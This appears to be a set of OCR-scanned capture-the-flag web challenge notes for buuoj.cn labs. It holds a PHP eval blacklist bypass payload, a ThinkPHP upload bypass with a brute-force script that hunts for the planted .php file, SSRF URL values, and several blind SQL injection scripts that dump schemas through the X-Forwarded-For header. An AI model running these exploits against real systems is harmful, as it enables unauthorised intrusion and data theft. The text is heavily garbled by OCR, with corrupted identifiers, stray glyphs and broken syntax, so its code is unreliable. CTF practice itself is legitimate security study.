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Easy Calc

TH RS L % H15 Flcalc.php

($_GET['num'])){
(_FILE_);

$str = $_GET[ 'num'];
$blacklist = [* ", "\t', "\r', "\n',"\"", """, U, \[', "\]',\$','

foreach ($blacklist as $blackitem) {
if ( ('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
1
J

('echo '.$str.';");
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HTENHEIE T 515, BroAIRAF A K EHMEZERAT — TR num=1;var_dump(scandir(chr(47)))
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Easy Java
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<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
mlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
51 schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4 0.X

version="4.0">

<welcome-file-1list>
<welcome-file>Index</welcome-file>

</welcome-file-1list>

<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>

</servlet>

<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>

</servlet-mapping>

<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>

</servlet>

<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>

</servlet-mapping>

<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>

</servlet>

<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>

</servlet-mapping>

<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>

</servlet>

<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>

</servlet-mapping>

</web-app>
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HTTP Status 500 — Internal Server Error

m Exception Report
(I com/wm/ctf/FlagController (wrong name: FlagController)

The server encountered an unexpected condition that prevented it from fulfiling the request.
Exception

java.lang.NoClassDefFoundError: |[degtulfdsdSil (el imdaiBlts (wrong name: FlagController)
java.lang.ClassLoader.defineClassl (Native Method)
java.lang.ClassLoader.defineClass (ClassLoader.java com/wm/ctf/FlagContro"er
java.security.SecureClassLoader.defineClass (Secure Q)
org.apache.catalina.loader.WebappClassLoaderBase.f irBase.java:2283)
org.apache.catalina.loader.WebappClassLoaderBase. £ CcoM ,‘r WM f CTF ]'r FIagControIIer wa:811)
org.apache.catalina.loader.WebappClassLoaderBase.loadClass (WepappClassLoaderBdase.java:1260)
org.apache.catalina.loader.WebappClassLoaderBase.loadClass (WebappClassLoaderBase.java:11183)
org.apache.catalina.authenticator.RuthenticatorBase.invoke (AuthenticatorBase.java:488)
org.apache.catalina.valves.ErrorReportValve.invoke (ErrorReportValve.java:81l)
org.apache.catalina.valves.AbstractAccessLogValve.invoke (AbstractRAccessLogValve.java:650)
org.apache.catalina.connector.Coyotehdapter.service (CoyoteRdapter.java:342)
org.apache.coyote.httpll.HttpllProcessor.service (HttpllProcessor.java:803)
org.apache.coyote.BbstractProcessorLight.process (RbstractProcessorLight.java: 66)
org.apache.coyote.BbstractProtocol3ConnectionHandler.process (BbstractProtocol.java: 780)
org.apache.tomcat.util.net.NicEndpoint$SocketProcessor.doRun (NioEndpoint.java:1459)
org.apache.tomcat.util.net.SocketProcessorBase. run(SocketProcessorBase.java:49)
java.util.concurrent.ThreadPoolExecutor.runWorker (ThreadPoolExecutor.java:1149)
java.util.concurrent.ThreadPoolExecutorSWorker. run(ThreadPoolExscutor.java:624)
org.apache.tomecat.util.threads.TaskThreadfWrappingRunnable. run (TaskThread.java:61)
java.lang.Thread.run(Thread.java:748)

[T The full stack trace of the root cause is available in the server logs.
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<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller

{

public function

{

}
public function @)

{
$uploadFile = $ FILES['file'] ;

if ( ( ($uploadFile[ 'name']), ".php") ) {
return false;

$upload = new \Think\Upload();// LI _F1£3E
$upload->maxSize = 4096 ;// ZEMIF LIEX)
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// REMIF LFEHEH
$upload->rootPath = './Public/Uploads/';// #EH 1 E1EHFR
$upload->savePath = '';// ZEMHFLIEFHF
$info = $upload-> O ;
if(!$info) {// _LIEERIETFHIRIZE
$this-> ($upload-> 0));
return;
Yelse{// _LfEiZ) KR LR
$url = _ ROOT__. ($upload->rootPath,1).$info[ 'file'][ 'savepath'].$info['file' ][ 'savename'] ;
echo (array("url"=>$url,"success"=>1));
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import requests
url = "http://5dafd866-bda8-4e3d-a29e-9c96ad2c68d4.node3.buuoj.cn/index.php/Home/Index/upload”
filesl = {'file[]": ("test.php','r')}

requests. (url,files=filesl)
print(r.text)
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requests

"http://5dafd866-bda8-4e3d-a29e-9c96ad2c68d4.node3.buuoj.cn/index.php/Home/Index/upload"
= {'file": ("test.txt','r")}
= {'file[]": ("test.php','r")}

requests. (url,files=filesl)

print(r.text)

requests. (url,files=files2)
print(r.text)
(url,files=filesl)

"url":"\/Public\/Uploads\/2019-11-28\/5ddfc2fd5f658.txt", "success":1}
"url":"\/Public\/Uploads\/","success":1}
"url":"\/Public\/Uploads\/2019-11-28\/5ddfc2fd9eblif.txt", "success":1}

testphp 25 JLICHF, B P MASCHFJ—php 3O, BB IESCH K304 R H 5 LI ST 4

import requests
s = "1234567890abcdef"
for h in s:
for i in s:
for j in s:
for k in s:
for 1 in s:
url = "http://5dafd866-bda8-4e3d-a29e-9c96ad2c68d4.node3.buuoj.cn/Public/Uploads/2019-11-28/
S5ddfc2fd¥%s%skhs%sks .php"%(h,i,7j,k,1)
r = requests. (url)
if r.status_code == 200:
print(url)
break
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/url=http://123.23.45.6

/url=http://192.168.0.3
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import requests

url = "http://195-25e52b2e-4001-42a6-a194-a18183c43clfnode3.buuoj.cn:25169/"
head = {

"GET" : "/ HTTP/1.1",

"Cookie" : "track uuid=42ac36cf-916b-4ec2-dbdl-f99c2c90259a",

"X-Forwarded-For"

1
J

result = ""

for i in range(1,100):
l1=1
r 127
mid = (1l+r)>>1
while(1l<r):
head[ "X-Forwarded-For"] = "@' or ascii(substr((select group_concat(schema_name) from information_schema.schema

ta),{0},1))>{1} or '@".format(i,mid)
html_@ = requests.post(url,headers = head)
head[ "X-Forwarded-For"] = "@' or ascii(substr((select group_concat(schema_name) from information_schema.schema
ta),{0},1))>{1} or '@".format(i, mid+1)
html_@ = requests.post(url, headers=head)
html_@ = requests.post(url, headers=head)
if "Last Ip: 1" in html_@.text:
1= mid+1
else:
r=mid
mid = (1l+r)>>1
if(chr(mid)==" "):
break
result+=chr(mid)
print(result)

print("table_name:"+result)
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import requests

url = "http://195-25e52b2e-4001-42a6-a194-a18183c43clfnode3.buuoj.cn:25169/"
head = {

"GET" : "/ HTTP/1.1",

"Cookie" : "track uuid=42ac36cf-916b-4ec2-dbdl-f99c2c90259a",

"X-Forwarded-For"

urls ="0' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=0x4
6346C395f4434743442343565),{0},1))>{1} or '0"
for i in range(1,100):
1 =1
127
mid = (1l+r)>>1
while(1l<r):
head[ "X-Forwarded-For"] = urls.format(i,mid)
html_@ = requests.post(url,headers = head)
head[ "X-Forwarded-For"] = urls.format(i, mid+1)
html_@ = requests.post(url, headers=head)

html_@ = requests.post(url, headers=head)
if "Last Ip: 1" in html_@.text:

1= mid+1
else:

r=mid
mid = (1l+r)>>1
if(chr(mid)==" "):
break
result+=chr(mid)
print(result)

print("table_name:"+result)
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import requests

url = "http://195-25e52b2e-4001-42a6-a194-a18183c43clfnode3.buuoj.cn:25169/"
head = {

"GET" : "/ HTTP/1.1",

"Cookie" : "track uuid=42ac36cf-916b-4ec2-dbdl-f99c2c90259a",

"X-Forwarded-For"

urls ="0' or ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=0
X46346C395F4434743442343565),{0},1))>{1} or '@"
for i in range(1,100):
1 =1
127
mid = (1l+r)>>1
while(1l<r):
head[ "X-Forwarded-For"] = urls.format(i,mid)
html_@ = requests.post(url,headers = head)
head[ "X-Forwarded-For"] = urls.format(i, mid+1)
html_@ = requests.post(url, headers=head)

html_@ = requests.post(url, headers=head)
if "Last Ip: 1" in html_@.text:

1= mid+1
else:

r=mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result+=chr(mid)
print(result)

print("table_name:"+result)
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"/ HTTP/1.1",
"Cookie" : "track uuid=42ac36cf-916b-4ec2-dbdl1-f99c2c90259a",

"X-Forwarded-For"

"@"' or ascii(substr((select F419 COluMn from F419 D4t4B45e.F419 t4ble limit 1,1),{0},1))>{1} or '@"
for i in range(1,100):
l1=1
127
mid = (1l+r)>>1
while(1l<r):

head[ "X-Forwarded-For"] = urls.format(i,mid)
html_@ = requests.post(url,headers = head)
head[ "X-Forwarded-For"] = urls.format(i, mid+1)
html_@ = requests.post(url, headers=head)
html_@ = requests.post(url, headers=head)

if "Last Ip: 1" in html_@.text:
1= mid+1

else:
r=mid

mid = (1l+r)>>1

if(chr(mid)==" "):

break

result+=chr(mid)

print(result)

print("table_name:"+result)
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volatility -f mem.dmp --profile=Win7SP1x86_ 23418 filescan -E 'pngl|jpgl|jpeg|zip|gif|rar|7z]|pdf"
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